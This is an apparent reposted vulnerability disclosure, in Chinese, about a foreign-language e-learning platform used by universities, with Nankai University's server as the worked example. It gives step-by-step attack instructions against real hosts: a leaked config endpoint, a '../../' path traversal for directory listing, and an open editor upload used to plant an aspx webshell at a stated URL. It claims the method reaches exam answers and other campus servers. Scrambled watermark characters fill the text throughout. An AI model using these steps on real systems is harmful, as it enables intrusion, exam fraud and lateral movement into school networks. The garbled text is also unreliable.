好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
{: \, }+ s x& Z
/ i3 Y7 }/ w! m# c. v详细说明:
& _6 B% W" D% c! L1 F 8 T1 u6 Q, `8 H
以南开大学的为例:
7 B. U. K- m* v+ r8 Y8 o4 P. S$ Ghttp://222.30.60.3/NPELS" M1 k& R, N8 R5 _$ ^% P4 A
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址4 f7 N) f8 {) ]6 s5 L" R) |
<setting name="Update_CommonSvr_CommonService" serializeAs="String">* O9 M1 j9 X: [, ]: I- o1 u6 J1 d
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
8 k+ I/ @( @) ~</setting>; {5 X3 d( W0 E( Y
及版本号
8 L$ O7 U/ J- v) |' d% a; ]1 J) h<add key="TVersion" value="1, 0, 0, 2187">2 k# R" c; w6 C
</add>
- H) m2 b/ J+ U( b e r直接访问
# C* D" Y. F$ g: R* Shttp://222.30.60.3/NPELS/CommonService.asmx. A/ L1 n+ L" `% {
使用GetTestClientFileList操作,直接 HTTP GET 列目录:
0 p, I- J6 o i0 M8 A0 whttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 21874 @! z- Y- q2 d) ^' ?$ O
进一步列目录(返回的网页很大,可以直接 wget 下来)* d0 s4 ?( C( c2 \8 p( q
http://222.30.60.3/NPELS/CommonS ... List?version=../../
7 g0 U; [% i. Z, p$ p
6 z- G: V m% @/ [$ T; ~! V发现* r; M" l% K* {, `' |9 o
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm6 n% y$ ?* E. k" O" F, w
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
1 J7 }/ F5 F' p$ ]5 P上传后继续列目录找到木马地址直接访问即可3 J9 W0 N, t1 |5 W( N: a# I
4 Q0 r0 O+ `9 q% e E1 W1 [
OOXX8 p8 I d8 R6 I; j/ I$ U
5 O" l, _# v* }
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法 w9 S4 q7 I5 k, Z; O2 R
漏洞证明:
; V5 z8 M6 P, y& C8 |5 X
0 v0 b) f$ ? g列目录:0 K3 |8 F2 ]5 Q( j7 V
http://222.30.60.3/NPELS/CommonS ... List?version=../../: }. s8 s! R4 m* L/ Q: {( {9 L
文件上传:0 P6 h4 o/ F8 `' ^# z1 V
http://222.30.60.3/npelsv/editor/editor.htm' T& w5 Y3 N! G: R4 h6 X
1 H/ H8 R+ g5 ^上传木马:
+ I% j m! t2 N! X3 y; f& ]/ k- [http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx, G% V7 }5 f+ j- `5 D; \2 g! w* k. e# `0 |
" u, ?+ q, p3 G7 {( w
修复方案:4 o, a0 A2 X: w' T3 A. A3 U
好像考试系统必须使用 CommonService.asmx9 E" u# I& m$ N" V% O
最好配置文件加密或者用别的方式不让它泄露出来
) j4 V+ S: f. o R6 z. B并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样
. l! Y) D y9 D1 }, a |